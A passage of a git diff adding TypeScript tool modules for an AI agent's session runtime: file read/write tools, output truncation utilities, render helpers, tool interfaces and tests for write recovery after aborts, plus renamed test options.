formatReadCall(args, theme), + ); + return text; + }, + renderResult(result, options, theme, context) { + const text = (context.lastComponent as Text | undefined) ?? new Text("", 0, 0); + text.setText( + formatReadResult( + context.args, + result, + options, + theme, + context.showImages, + context.cwd, + context.isError, + ), + ); + return text; + }, + }; +} + +export function createReadTool( + cwd: string, + options?: ReadToolOptions, +): AgentTool { + return wrapToolDefinition(createReadToolDefinition(cwd, options)); +} diff --git a/src/agents/sessions/tools/render-utils.ts b/src/agents/sessions/tools/render-utils.ts new file mode 100644 index 00000000000..e3a72f25fca --- /dev/null +++ b/src/agents/sessions/tools/render-utils.ts @@ -0,0 +1,79 @@ +import * as os from "node:os"; +import { getCapabilities, getImageDimensions, imageFallback } from "@earendil-works/pi-tui"; +import type { ImageContent, TextContent } from "../../../llm/types.js"; +import type { Theme } from "../../modes/interactive/theme/theme.js"; +import { stripAnsi } from "../../utils/ansi.js"; +import { sanitizeBinaryOutput } from "../../utils/shell.js"; + +export function shortenPath(path: unknown): string { + if (typeof path !== "string") { + return ""; + } + const home = os.homedir(); + if (path.startsWith(home)) { + return `~${path.slice(home.length)}`; + } + return path; +} + +export function str(value: unknown): string | null { + if (typeof value === "string") { + return value; + } + if (value == null) { + return ""; + } + return null; +} + +export function replaceTabs(text: string): string { + return text.replace(/\t/g, " "); +} + +export function normalizeDisplayText(text: string): string { + return text.replace(/\r/g, ""); +} + +export function getTextOutput( + result: + | { content: Array<{ type: string; text?: string; data?: string; mimeType?: string }> } + | undefined, + showImages: boolean, +): string { + if (!result) { + return ""; + } + + const textBlocks = result.content.filter((c) => c.type === "text"); + const imageBlocks = result.content.filter((c) => c.type === "image"); + + let output = textBlocks + .map((c) => sanitizeBinaryOutput(stripAnsi(c.text || "")).replace(/\r/g, "")) + .join("\n"); + + const caps = getCapabilities(); + if (imageBlocks.length > 0 && (!caps.images || !showImages)) { + const imageIndicators = imageBlocks + .map((img) => { + const mimeType = img.mimeType ?? "image/unknown"; + const dims = + img.data && img.mimeType + ? (getImageDimensions(img.data, img.mimeType) ?? undefined) + : undefined; + return imageFallback(mimeType, dims); + }) + .join("\n"); + output = output ? `${output}\n${imageIndicators}` : imageIndicators; + } + + return output; +} + +export type ToolRenderResultLike = { + content: (TextContent | ImageContent)[]; + details: TDetails; +}; + +export function invalidArgText(theme: Pick): string { + return theme.fg("error", "[invalid arg]"); +} diff --git a/src/agents/sessions/tools/tool-contracts.ts b/src/agents/sessions/tools/tool-contracts.ts new file mode 100644 index 00000000000..6e131c8882e --- /dev/null +++ b/src/agents/sessions/tools/tool-contracts.ts @@ -0,0 +1,78 @@ +import type { Edit } from "./edit-diff.js"; +import type { TruncationResult } from "./truncate.js"; + +export interface BashToolInput { + command: string; + timeout?: number; +} + +export interface BashToolDetails { + truncation?: TruncationResult; + fullOutputPath?: string; +} + +export interface EditToolInput { + path: string; + edits: Edit[]; +} + +export interface EditToolDetails { + /** Display-oriented diff of the changes made */ + diff: string; + /** Standard unified patch of the changes made */ + patch: string; + /** Line number of the first change in the new file (for editor navigation) */ + firstChangedLine?: number; +} + +export interface FindToolInput { + pattern: string; + path?: string; + limit?: number; +} + +export interface FindToolDetails { + truncation?: TruncationResult; + resultLimitReached?: number; +} + +export interface GrepToolInput { + pattern: string; + path?: string; + glob?: string; + ignoreCase?: boolean; + literal?: boolean; + context?: number; + limit?: number; +} + +export interface GrepToolDetails { + truncation?: TruncationResult; + matchLimitReached?: number; + linesTruncated?: boolean; +} + +export interface LsToolInput { + path?: string; + limit?: number; +} + +export interface LsToolDetails { + truncation?: TruncationResult; + entryLimitReached?: number; +} + +export interface ReadToolInput { + path: string; + offset?: number; + limit?: number; +} + +export interface ReadToolDetails { + truncation?: TruncationResult; +} + +export interface WriteToolInput { + path: string; + content: string; +} diff --git a/src/agents/sessions/tools/tool-definition-wrapper.ts b/src/agents/sessions/tools/tool-definition-wrapper.ts new file mode 100644 index 00000000000..ad5f02670eb --- /dev/null +++ b/src/agents/sessions/tools/tool-definition-wrapper.ts @@ -0,0 +1,51 @@ +import type { TSchema } from "typebox"; +import type { AgentTool } from "../../runtime/index.js"; +import type { ExtensionContext, ToolDefinition } from "../extensions/types.js"; + +/** Wrap a ToolDefinition into an AgentTool for the core runtime. */ +export function wrapToolDefinition< + TParams extends TSchema = TSchema, + TDetails = unknown, + TState = unknown, +>( + definition: ToolDefinition, + ctxFactory?: () => ExtensionContext, +): AgentTool { + return { + name: definition.name, + label: definition.label, + description: definition.description, + parameters: definition.parameters, + prepareArguments: definition.prepareArguments, + executionMode: definition.executionMode, + execute: (toolCallId, params, signal, onUpdate) => + definition.execute(toolCallId, params, signal, onUpdate, ctxFactory?.() as ExtensionContext), + }; +} + +/** Wrap multiple ToolDefinitions into AgentTools for the core runtime. */ +export function wrapToolDefinitions( + definitions: ToolDefinition[], + ctxFactory?: () => ExtensionContext, +): AgentTool[] { + return definitions.map((definition) => wrapToolDefinition(definition, ctxFactory)); +} + +/** + * Synthesize a minimal ToolDefinition from an AgentTool. + * + * This keeps AgentSession's internal registry definition-first even when a caller + * provides plain AgentTool overrides that do not include prompt metadata or renderers. + */ +export function createToolDefinitionFromAgentTool(tool: AgentTool): ToolDefinition { + return { + name: tool.name, + label: tool.label, + description: tool.description, + parameters: tool.parameters, + prepareArguments: tool.prepareArguments, + executionMode: tool.executionMode, + execute: async (toolCallId, params, signal, onUpdate) => + tool.execute(toolCallId, params, signal, onUpdate), + }; +} diff --git a/src/agents/sessions/tools/truncate.ts b/src/agents/sessions/tools/truncate.ts new file mode 100644 index 00000000000..d0b172528ef --- /dev/null +++ b/src/agents/sessions/tools/truncate.ts @@ -0,0 +1,275 @@ +/** + * Shared truncation utilities for tool outputs. + * + * Truncation is based on two independent limits - whichever is hit first wins: + * - Line limit (default: 2000 lines) + * - Byte limit (default: 50KB) + * + * Never returns partial lines (except bash tail truncation edge case). + */ + +export const DEFAULT_MAX_LINES = 2000; +export const DEFAULT_MAX_BYTES = 50 * 1024; // 50KB +export const GREP_MAX_LINE_LENGTH = 500; // Max chars per grep match line + +export interface TruncationResult { + /** The truncated content */ + content: string; + /** Whether truncation occurred */ + truncated: boolean; + /** Which limit was hit: "lines", "bytes", or null if not truncated */ + truncatedBy: "lines" | "bytes" | null; + /** Total number of lines in the original content */ + totalLines: number; + /** Total number of bytes in the original content */ + totalBytes: number; + /** Number of complete lines in the truncated output */ + outputLines: number; + /** Number of bytes in the truncated output */ + outputBytes: number; + /** Whether the last line was partially truncated (only for tail truncation edge case) */ + lastLinePartial: boolean; + /** Whether the first line exceeded the byte limit (for head truncation) */ + firstLineExceedsLimit: boolean; + /** The max lines limit that was applied */ + maxLines: number; + /** The max bytes limit that was applied */ + maxBytes: number; +} + +export interface TruncationOptions { + /** Maximum number of lines (default: 2000) */ + maxLines?: number; + /** Maximum number of bytes (default: 50KB) */ + maxBytes?: number; +} + +function splitLinesForCounting(content: string): string[] { + if (content.length === 0) { + return []; + } + const lines = content.split("\n"); + if (content.endsWith("\n")) { + lines.pop(); + } + return lines; +} + +/** + * Format bytes as human-readable size. + */ +export function formatSize(bytes: number): string { + if (bytes < 1024) { + return `${bytes}B`; + } else if (bytes < 1024 * 1024) { + return `${(bytes / 1024).toFixed(1)}KB`; + } + return `${(bytes / (1024 * 1024)).toFixed(1)}MB`; +} + +/** + * Truncate content from the head (keep first N lines/bytes). + * Suitable for file reads where you want to see the beginning. + * + * Never returns partial lines. If first line exceeds byte limit, + * returns empty content with firstLineExceedsLimit=true. + */ +export function truncateHead(content: string, options: TruncationOptions = {}): TruncationResult { + const maxLines = options.maxLines ?? DEFAULT_MAX_LINES; + const maxBytes = options.maxBytes ?? DEFAULT_MAX_BYTES; + + const totalBytes = Buffer.byteLength(content, "utf-8"); + const lines = splitLinesForCounting(content); + const totalLines = lines.length; + + // Check if no truncation needed + if (totalLines <= maxLines && totalBytes <= maxBytes) { + return { + content, + truncated: false, + truncatedBy: null, + totalLines, + totalBytes, + outputLines: totalLines, + outputBytes: totalBytes, + lastLinePartial: false, + firstLineExceedsLimit: false, + maxLines, + maxBytes, + }; + } + + // Check if first line alone exceeds byte limit + const firstLineBytes = Buffer.byteLength(lines[0], "utf-8"); + if (firstLineBytes > maxBytes) { + return { + content: "", + truncated: true, + truncatedBy: "bytes", + totalLines, + totalBytes, + outputLines: 0, + outputBytes: 0, + lastLinePartial: false, + firstLineExceedsLimit: true, + maxLines, + maxBytes, + }; + } + + // Collect complete lines that fit + const outputLinesArr: string[] = []; + let outputBytesCount = 0; + let truncatedBy: "lines" | "bytes" = "lines"; + + for (let i = 0; i < lines.length && i < maxLines; i++) { + const line = lines[i]; + const lineBytes = Buffer.byteLength(line, "utf-8") + (i > 0 ? 1 : 0); // +1 for newline + + if (outputBytesCount + lineBytes > maxBytes) { + truncatedBy = "bytes"; + break; + } + + outputLinesArr.push(line); + outputBytesCount += lineBytes; + } + + // If we exited due to line limit + if (outputLinesArr.length >= maxLines && outputBytesCount <= maxBytes) { + truncatedBy = "lines"; + } + + const outputContent = outputLinesArr.join("\n"); + const finalOutputBytes = Buffer.byteLength(outputContent, "utf-8"); + + return { + content: outputContent, + truncated: true, + truncatedBy, + totalLines, + totalBytes, + outputLines: outputLinesArr.length, + outputBytes: finalOutputBytes, + lastLinePartial: false, + firstLineExceedsLimit: false, + maxLines, + maxBytes, + }; +} + +/** + * Truncate content from the tail (keep last N lines/bytes). + * Suitable for bash output where you want to see the end (errors, final results). + * + * May return partial first line if the last line of original content exceeds byte limit. + */ +export function truncateTail(content: string, options: TruncationOptions = {}): TruncationResult { + const maxLines = options.maxLines ?? DEFAULT_MAX_LINES; + const maxBytes = options.maxBytes ?? DEFAULT_MAX_BYTES; + + const totalBytes = Buffer.byteLength(content, "utf-8"); + const lines = splitLinesForCounting(content); + const totalLines = lines.length; + + // Check if no truncation needed + if (totalLines <= maxLines && totalBytes <= maxBytes) { + return { + content, + truncated: false, + truncatedBy: null, + totalLines, + totalBytes, + outputLines: totalLines, + outputBytes: totalBytes, + lastLinePartial: false, + firstLineExceedsLimit: false, + maxLines, + maxBytes, + }; + } + + // Work backwards from the end + const outputLinesArr: string[] = []; + let outputBytesCount = 0; + let truncatedBy: "lines" | "bytes" = "lines"; + let lastLinePartial = false; + + for (let i = lines.length - 1; i >= 0 && outputLinesArr.length < maxLines; i--) { + const line = lines[i]; + const lineBytes = Buffer.byteLength(line, "utf-8") + (outputLinesArr.length > 0 ? 1 : 0); // +1 for newline + + if (outputBytesCount + lineBytes > maxBytes) { + truncatedBy = "bytes"; + // Edge case: if we haven't added ANY lines yet and this line exceeds maxBytes, + // take the end of the line (partial) + if (outputLinesArr.length === 0) { + const truncatedLine = truncateStringToBytesFromEnd(line, maxBytes); + outputLinesArr.unshift(truncatedLine); + outputBytesCount = Buffer.byteLength(truncatedLine, "utf-8"); + lastLinePartial = true; + } + break; + } + + outputLinesArr.unshift(line); + outputBytesCount += lineBytes; + } + + // If we exited due to line limit + if (outputLinesArr.length >= maxLines && outputBytesCount <= maxBytes) { + truncatedBy = "lines"; + } + + const outputContent = outputLinesArr.join("\n"); + const finalOutputBytes = Buffer.byteLength(outputContent, "utf-8"); + + return { + content: outputContent, + truncated: true, + truncatedBy, + totalLines, + totalBytes, + outputLines: outputLinesArr.length, + outputBytes: finalOutputBytes, + lastLinePartial, + firstLineExceedsLimit: false, + maxLines, + maxBytes, + }; +} + +/** + * Truncate a string to fit within a byte limit (from the end). + * Handles multi-byte UTF-8 characters correctly. + */ +function truncateStringToBytesFromEnd(str: string, maxBytes: number): string { + const buf = Buffer.from(str, "utf-8"); + if (buf.length <= maxBytes) { + return str; + } + + // Start from the end, skip maxBytes back + let start = buf.length - maxBytes; + + // Find a valid UTF-8 boundary (start of a character) + while (start < buf.length && (buf[start] & 0xc0) === 0x80) { + start++; + } + + return buf.slice(start).toString("utf-8"); +} + +/** + * Truncate a single line to max characters, adding [truncated] suffix. + * Used for grep match lines. + */ +export function truncateLine( + line: string, + maxChars: number = GREP_MAX_LINE_LENGTH, +): { text: string; wasTruncated: boolean } { + if (line.length <= maxChars) { + return { text: line, wasTruncated: false }; + } + return { text: `${line.slice(0, maxChars)}... [truncated]`, wasTruncated: true }; +} diff --git a/src/agents/sessions/tools/write.test.ts b/src/agents/sessions/tools/write.test.ts new file mode 100644 index 00000000000..99764f5ece7 --- /dev/null +++ b/src/agents/sessions/tools/write.test.ts @@ -0,0 +1,120 @@ +import fs from "node:fs/promises"; +import os from "node:os"; +import path from "node:path"; +import { pathToFileURL } from "node:url"; +import { afterEach, describe, expect, it } from "vitest"; +import { createWriteTool, type WriteOperations } from "./write.js"; + +describe("write tool", () => { + let tmpDir = ""; + + afterEach(async () => { + if (tmpDir) { + await fs.rm(tmpDir, { recursive: true, force: true }); + tmpDir = ""; + } + }); + + async function createTempPath(name = "demo.txt") { + tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-write-tool-")); + return path.join(tmpDir, name); + } + + function createRecoverableOperations(writeFile: WriteOperations["writeFile"]): WriteOperations { + return { + mkdir: (dir) => fs.mkdir(dir, { recursive: true }).then(() => {}), + writeFile, + readFile: (absolutePath) => fs.readFile(absolutePath), + statFile: async (absolutePath) => { + try { + const stat = await fs.stat(absolutePath); + return { + type: stat.isFile() ? "file" : stat.isDirectory() ? "directory" : "other", + size: stat.size, + mtimeMs: stat.mtimeMs, + } as const; + } catch (error) { + if ( + error && + typeof error === "object" && + "code" in error && + (error as { code?: unknown }).code === "ENOENT" + ) { + return null; + } + throw error; + } + }, + }; + } + + it("recovers success after a post-write abort when readback matches requested content", async () => { + const filePath = await createTempPath(); + const controller = new AbortController(); + const tool = createWriteTool(tmpDir, { + operations: createRecoverableOperations(async (absolutePath, content) => { + await fs.writeFile(absolutePath, content, "utf-8"); + controller.abort(); + throw new Error("Operation aborted"); + }), + }); + + const result = await tool.execute( + "call-1", + { path: filePath, content: "finished\n" }, + controller.signal, + ); + + expect(result.content[0]).toEqual({ + type: "text", + text: `Successfully wrote ${"finished\n".length} bytes to ${filePath}`, + }); + }); + + it("keeps the original abort when the file already matched before execution", async () => { + const filePath = await createTempPath(); + await fs.writeFile(filePath, "finished\n", "utf-8"); + const controller = new AbortController(); + controller.abort(); + const tool = createWriteTool(tmpDir, { + operations: createRecoverableOperations(async () => { + throw new Error("Operation aborted"); + }), + }); + + await expect( + tool.execute("call-1", { path: filePath, content: "finished\n" }, controller.signal), + ).rejects.toThrow("Operation aborted"); + }); + + it("recovers timeout-like post-write errors when readback matches requested content", async () => { + const filePath = await createTempPath(); + const tool = createWriteTool(tmpDir, { + operations: createRecoverableOperations(async (absolutePath, content) => { + await fs.writeFile(absolutePath, content, "utf-8"); + throw new Error("node invoke timed out"); + }), + }); + + const result = await tool.execute( + "call-1", + { path: filePath, content: "finished\n" }, + undefined, + ); + + expect(result.content[0]?.type).toBe("text"); + }); + + it("writes file URL paths through the shared session path resolver", async () => { + const filePath = await createTempPath("notes.md"); + const tool = createWriteTool(tmpDir); + + await tool.execute( + "call-1", + { path: pathToFileURL(filePath).href, content: "finished\n" }, + undefined, + ); + + await expect(fs.readFile(filePath, "utf-8")).resolves.toBe("finished\n"); + }); +}); diff --git a/src/agents/sessions/tools/write.ts b/src/agents/sessions/tools/write.ts new file mode 100644 index 00000000000..05595999e6b --- /dev/null +++ b/src/agents/sessions/tools/write.ts @@ -0,0 +1,475 @@ +import { + mkdir as fsMkdir, + readFile as fsReadFile, + stat as fsStat, + writeFile as fsWriteFile, +} from "node:fs/promises"; +import { dirname } from "node:path"; +import { Container, Text } from "@earendil-works/pi-tui"; +import { Type } from "typebox"; +import { keyHint } from "../../modes/interactive/components/keybinding-hints.js"; +import { getLanguageFromPath, highlightCode } from "../../modes/interactive/theme/theme.js"; +import type { AgentTool } from "../../runtime/index.js"; +import type { ToolDefinition, ToolRenderResultOptions } from "../extensions/types.js"; +import { withFileMutationQueue } from "./file-mutation-queue.js"; +import { resolveToCwd } from "./path-utils.js"; +import { + invalidArgText, + normalizeDisplayText, + replaceTabs, + shortenPath, + str, +} from "./render-utils.js"; +import { wrapToolDefinition } from "./tool-definition-wrapper.js"; + +const writeSchema = Type.Object({ + path: Type.String({ description: "Path to the file to write (relative or absolute)" }), + content: Type.String({ description: "Content to write to the file" }), +}); +export type { WriteToolInput } from "./tool-contracts.js"; + +/** + * Pluggable operations for the write tool. + * Override these to delegate file writing to remote systems (for example SSH). + */ +export interface WriteOperations { + /** Write content to a file */ + writeFile: (absolutePath: string, content: string) => Promise; + /** Create directory recursively */ + mkdir: (dir: string) => Promise; + /** Optional readback used to recover when a write succeeded but the tool aborted before returning */ + readFile?: (absolutePath: string) => Promise; + /** Optional stat used to avoid reporting success for files that already matched before execution */ + statFile?: (absolutePath: string) => Promise; +} + +const defaultWriteOperations: WriteOperations = { + writeFile: (path, content) => fsWriteFile(path, content, "utf-8"), + mkdir: (dir) => fsMkdir(dir, { recursive: true }).then(() => {}), + readFile: (path) => fsReadFile(path), + statFile: async (path) => { + try { + const stat = await fsStat(path); + return { + type: stat.isFile() ? "file" : stat.isDirectory() ? "directory" : "other", + size: stat.size, + mtimeMs: stat.mtimeMs, + } as const; + } catch (error) { + if ( + error && + typeof error === "object" && + "code" in error && + (error as { code?: unknown }).code === "ENOENT" + ) { + return null; + } + throw error; + } + }, +}; + +export interface WriteToolOptions { + /** Custom operations for file writing. Default: local filesystem */ + operations?: WriteOperations; +} + +type WriteToolFileStat = { + type: "file" | "directory" | "other"; + size: number; + mtimeMs?: number; +}; + +type WriteToolPrecheck = { + state: "different" | "same" | "unknown"; + beforeStat?: WriteToolFileStat | null; +}; + +const WRITE_PRECHECK_READ_LIMIT_BYTES = 1024 * 1024; + +type WriteHighlightCache = { + rawPath: string | null; + lang: string; + rawContent: string; + normalizedLines: string[]; + highlightedLines: string[]; +}; + +class WriteCallRenderComponent extends Text { + cache?: WriteHighlightCache; + + constructor() { + super("", 0, 0); + } +} + +const WRITE_PARTIAL_FULL_HIGHLIGHT_LINES = 50; + +function highlightSingleLine(line: string, lang: string): string { + const highlighted = highlightCode(line, lang); + return highlighted[0] ?? ""; +} + +function refreshWriteHighlightPrefix(cache: WriteHighlightCache): void { + const prefixCount = Math.min(WRITE_PARTIAL_FULL_HIGHLIGHT_LINES, cache.normalizedLines.length); + if (prefixCount === 0) { + return; + } + const prefixSource = cache.normalizedLines.slice(0, prefixCount).join("\n"); + const prefixHighlighted = highlightCode(prefixSource, cache.lang); + for (let i = 0; i < prefixCount; i++) { + cache.highlightedLines[i] = + prefixHighlighted[i] ?? highlightSingleLine(cache.normalizedLines[i] ?? "", cache.lang); + } +} + +function rebuildWriteHighlightCacheFull( + rawPath: string | null, + fileContent: string, +): WriteHighlightCache | undefined { + const lang = rawPath ? getLanguageFromPath(rawPath) : undefined; + if (!lang) { + return undefined; + } + const displayContent = normalizeDisplayText(fileContent); + const normalized = replaceTabs(displayContent); + return { + rawPath, + lang, + rawContent: fileContent, + normalizedLines: normalized.split("\n"), + highlightedLines: highlightCode(normalized, lang), + }; +} + +function updateWriteHighlightCacheIncremental( + cache: WriteHighlightCache | undefined, + rawPath: string | null, + fileContent: string, +): WriteHighlightCache | undefined { + const lang = rawPath ? getLanguageFromPath(rawPath) : undefined; + if (!lang) { + return undefined; + } + if (!cache) { + return rebuildWriteHighlightCacheFull(rawPath, fileContent); + } + if (cache.lang !== lang || cache.rawPath !== rawPath) { + return rebuildWriteHighlightCacheFull(rawPath, fileContent); + } + if (!fileContent.startsWith(cache.rawContent)) { + return rebuildWriteHighlightCacheFull(rawPath, fileContent); + } + if (fileContent.length === cache.rawContent.length) { + return cache; + } + + const deltaRaw = fileContent.slice(cache.rawContent.length); + const deltaDisplay = normalizeDisplayText(deltaRaw); + const deltaNormalized = replaceTabs(deltaDisplay); + cache.rawContent = fileContent; + if (cache.normalizedLines.length === 0) { + cache.normalizedLines.push(""); + cache.highlightedLines.push(""); + } + + const segments = deltaNormalized.split("\n"); + const lastIndex = cache.normalizedLines.length - 1; + cache.normalizedLines[lastIndex] += segments[0]; + cache.highlightedLines[lastIndex] = highlightSingleLine( + cache.normalizedLines[lastIndex], + cache.lang, + ); + for (let i = 1; i < segments.length; i++) { + cache.normalizedLines.push(segments[i]); + cache.highlightedLines.push(highlightSingleLine(segments[i], cache.lang)); + } + refreshWriteHighlightPrefix(cache); + return cache; +} + +function trimTrailingEmptyLines(lines: string[]): string[] { + let end = lines.length; + while (end > 0 && lines[end - 1] === "") { + end--; + } + return lines.slice(0, end); +} + +function formatWriteCall( + args: { path?: string; file_path?: string; content?: string } | undefined, + options: ToolRenderResultOptions, + theme: typeof import("../../modes/interactive/theme/theme.js").theme, + cache: WriteHighlightCache | undefined, +): string { + const rawPath = str(args?.file_path ?? args?.path); + const fileContent = str(args?.content); + const path = rawPath !== null ? shortenPath(rawPath) : null; + const invalidArg = invalidArgText(theme); + let text = `${theme.fg("toolTitle", theme.bold("write"))} ${path === null ? invalidArg : path ? theme.fg("accent", path) : theme.fg("toolOutput", "...")}`; + + if (fileContent === null) { + text += `\n\n${theme.fg("error", "[invalid content arg - expected string]")}`; + } else if (fileContent) { + const lang = rawPath ? getLanguageFromPath(rawPath) : undefined; + const renderedLines = lang + ? (cache?.highlightedLines ?? + highlightCode(replaceTabs(normalizeDisplayText(fileContent)), lang)) + : normalizeDisplayText(fileContent).split("\n"); + const lines = trimTrailingEmptyLines(renderedLines); + const totalLines = lines.length; + const maxLines = options.expanded ? lines.length : 10; + const displayLines = lines.slice(0, maxLines); + const remaining = lines.length - maxLines; + text += `\n\n${displayLines.map((line) => (lang ? line : theme.fg("toolOutput", replaceTabs(line)))).join("\n")}`; + if (remaining > 0) { + text += `${theme.fg("muted", `\n... (${remaining} more lines, ${totalLines} total,`)} ${keyHint("app.tools.expand", "to expand")})`; + } + } + + return text; +} + +function formatWriteResult( + result: { + content: Array<{ type: string; text?: string; data?: string; mimeType?: string }>; + isError?: boolean; + }, + theme: typeof import("../../modes/interactive/theme/theme.js").theme, +): string | undefined { + if (!result.isError) { + return undefined; + } + const output = result.content + .filter((c) => c.type === "text") + .map((c) => c.text || "") + .join("\n"); + if (!output) { + return undefined; + } + return `\n${theme.fg("error", output)}`; +} + +function isMissingFileError(error: unknown): boolean { + if (!error || typeof error !== "object") { + return false; + } + if ("code" in error && (error as { code?: unknown }).code === "ENOENT") { + return true; + } + return error instanceof Error && error.message.includes("No such file or directory"); +} + +async function readOriginalWriteState( + absolutePath: string, + content: string, + ops: WriteOperations, +): Promise { + if (!ops.statFile) { + return { state: "unknown" }; + } + let stat: WriteToolFileStat | null; + try { + stat = await ops.statFile(absolutePath); + } catch (error) { + return { state: isMissingFileError(error) ? "different" : "unknown" }; + } + if (!stat) { + return { state: "different", beforeStat: stat }; + } + if (stat.type !== "file") { + return { state: "unknown", beforeStat: stat }; + } + if (stat.size !== Buffer.byteLength(content, "utf8")) { + return { state: "different", beforeStat: stat }; + } + if (!ops.readFile || stat.size > WRITE_PRECHECK_READ_LIMIT_BYTES) { + return { state: "unknown", beforeStat: stat }; + } + + try { + const originalContent = await ops.readFile(absolutePath); + const originalText = Buffer.isBuffer(originalContent) + ? originalContent.toString("utf8") + : originalContent; + return { state: originalText === content ? "same" : "different", beforeStat: stat }; + } catch { + return { state: "unknown", beforeStat: stat }; + } +} + +async function didWriteMetadataChange( + absolutePath: string, + beforeStat: WriteToolFileStat | null | undefined, + ops: WriteOperations, +): Promise { + if (!beforeStat || !ops.statFile) { + return false; + } + const afterStat = await ops.statFile(absolutePath).catch(() => null); + if (!afterStat || afterStat.type !== "file") { + return false; + } + return afterStat.size !== beforeStat.size || afterStat.mtimeMs !== beforeStat.mtimeMs; +} + +function isWriteRecoveryCandidate(error: unknown, signal: AbortSignal | undefined): boolean { + if (signal?.aborted) { + return true; + } + if (!(error instanceof Error)) { + return false; + } + const message = error.message.toLowerCase(); + return ( + error.name === "AbortError" || + error.name === "TimeoutError" || + message.includes("timed out") || + message.includes("timeout") + ); +} + +async function recoverSuccessfulWrite(params: { + absolutePath: string; + content: string; + error: unknown; + ops: WriteOperations; + path: string; + precheck: WriteToolPrecheck; + signal?: AbortSignal; +}) { + if (!params.ops.readFile || !isWriteRecoveryCandidate(params.error, params.signal)) { + return null; + } + const readback = await params.ops.readFile(params.absolutePath).catch(() => undefined); + const currentContent = Buffer.isBuffer(readback) ? readback.toString("utf8") : readback; + const changed = + params.precheck.state === "different" || + (params.precheck.state === "unknown" && + (await didWriteMetadataChange(params.absolutePath, params.precheck.beforeStat, params.ops))); + if (currentContent !== params.content || !changed) { + return null; + } + return { + content: [ + { + type: "text" as const, + text: `Successfully wrote ${params.content.length} bytes to ${params.path}`, + }, + ], + details: undefined, + }; +} + +export function createWriteToolDefinition( + cwd: string, + options?: WriteToolOptions, +): ToolDefinition { + const ops = options?.operations ?? defaultWriteOperations; + return { + name: "write", + label: "write", + description: + "Write content to a file. Creates the file if it doesn't exist, overwrites if it does. Automatically creates parent directories.", + promptSnippet: "Create or overwrite files", + promptGuidelines: ["Use write only for new files or complete rewrites."], + parameters: writeSchema, + async execute( + toolCallId, + { path, content }: { path: string; content: string }, + signal?: AbortSignal, + onUpdate?, + ctx?, + ) { + void toolCallId; + void onUpdate; + void ctx; + const absolutePath = resolveToCwd(path, cwd); + const dir = dirname(absolutePath); + return withFileMutationQueue(absolutePath, async () => { + const precheck = await readOriginalWriteState(absolutePath, content, ops); + try { + if (signal?.aborted) { + throw new Error("Operation aborted"); + } + await ops.mkdir(dir); + if (signal?.aborted) { + throw new Error("Operation aborted"); + } + await ops.writeFile(absolutePath, content); + if (signal?.aborted) { + throw new Error("Operation aborted"); + } + return { + content: [ + { + type: "text" as const, + text: `Successfully wrote ${content.length} bytes to ${path}`, + }, + ], + details: undefined, + }; + } catch (error: unknown) { + const recovered = await recoverSuccessfulWrite({ + absolutePath, + content, + error, + ops, + path, + precheck, + signal, + }); + if (recovered) { + return recovered; + } + throw error; + } + }); + }, + renderCall(args, theme, context) { + const renderArgs = args as + | { path?: string; file_path?: string; content?: string } + | undefined; + const rawPath = str(renderArgs?.file_path ?? renderArgs?.path); + const fileContent = str(renderArgs?.content); + const component = + (context.lastComponent as WriteCallRenderComponent | undefined) ?? + new WriteCallRenderComponent(); + if (fileContent !== null) { + component.cache = context.argsComplete + ? rebuildWriteHighlightCacheFull(rawPath, fileContent) + : updateWriteHighlightCacheIncremental(component.cache, rawPath, fileContent); + } else { + component.cache = undefined; + } + component.setText( + formatWriteCall( + renderArgs, + { expanded: context.expanded, isPartial: context.isPartial }, + theme, + component.cache, + ), + ); + return component; + }, + renderResult(result, options, theme, context) { + void options; + const output = formatWriteResult({ ...result, isError: context.isError }, theme); + if (!output) { + const component = (context.lastComponent as Container | undefined) ?? new Container(); + component.clear(); + return component; + } + const text = (context.lastComponent as Text | undefined) ?? new Text("", 0, 0); + text.setText(output); + return text; + }, + }; +} + +export function createWriteTool( + cwd: string, + options?: WriteToolOptions, +): AgentTool { + return wrapToolDefinition(createWriteToolDefinition(cwd, options)); +} diff --git a/src/agents/simple-completion-runtime.test.ts b/src/agents/simple-completion-runtime.test.ts index 09a54e0d110..6e2a2bcf123 100644 --- a/src/agents/simple-completion-runtime.test.ts +++ b/src/agents/simple-completion-runtime.test.ts @@ -1,6 +1,6 @@ -import type { Model } from "@earendil-works/pi-ai"; -import { beforeEach, describe, expect, it, vi } from "vitest"; +import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; import type { OpenClawConfig } from "../config/types.openclaw.js"; +import type { Model } from "../llm/types.js"; const hoisted = vi.hoisted(() => ({ resolveModelMock: vi.fn(), @@ -14,11 +14,11 @@ const hoisted = vi.hoisted(() => ({ completeMock: vi.fn(), })); -vi.mock("@earendil-works/pi-ai", () => ({ +vi.mock("../llm/stream.js", () => ({ completeSimple: hoisted.completeMock, })); -vi.mock("./pi-embedded-runner/model.js", () => ({ +vi.mock("./embedded-agent-runner/model.js", () => ({ resolveModel: hoisted.resolveModelMock, resolveModelAsync: hoisted.resolveModelAsyncMock, })); @@ -433,7 +433,7 @@ describe("prepareSimpleCompletionModel", () => { expect(result.auth.apiKey).toBe("bedrock-runtime-token"); }); - it("can skip Pi model/auth discovery for config-scoped one-shot completions", async () => { + it("can skip agent model/auth discovery for config-scoped one-shot completions", async () => { hoisted.resolveModelAsyncMock.mockResolvedValueOnce({ model: { provider: "ollama", @@ -454,7 +454,7 @@ describe("prepareSimpleCompletionModel", () => { cfg: undefined, provider: "ollama", modelId: "llama3.2:latest", - skipPiDiscovery: true, + skipAgentDiscovery: true, modelResolver: hoisted.resolveModelAsyncMock, }); @@ -466,7 +466,7 @@ describe("prepareSimpleCompletionModel", () => { undefined, undefined, { - skipPiDiscovery: true, + skipAgentDiscovery: true, }, ); }); @@ -488,7 +488,7 @@ describe("prepareSimpleCompletionModel", () => { provider: "mistral", modelId: "mistral-medium-3-5", allowBundledStaticCatalogFallback: true, - skipPiDiscovery: true, + skipAgentDiscovery: true, modelResolver: hoisted.resolveModelAsyncMock, }); @@ -500,7 +500,7 @@ describe("prepareSimpleCompletionModel", () => { undefined, { allowBundledStaticCatalogFallback: true, - skipPiDiscovery: true, + skipAgentDiscovery: true, }, ); }); @@ -532,7 +532,7 @@ describe("prepareSimpleCompletionModelForAgent", () => { const result = await prepareSimpleCompletionModelForAgent({ cfg, agentId: "main", - skipPiDiscovery: true, + skipAgentDiscovery: true, modelResolver: hoisted.resolveModelAsyncMock, }); @@ -546,7 +546,7 @@ describe("prepareSimpleCompletionModelForAgent", () => { expect.any(String), cfg, { - skipPiDiscovery: true, + skipAgentDiscovery: true, }, ); expect( @@ -603,7 +603,7 @@ 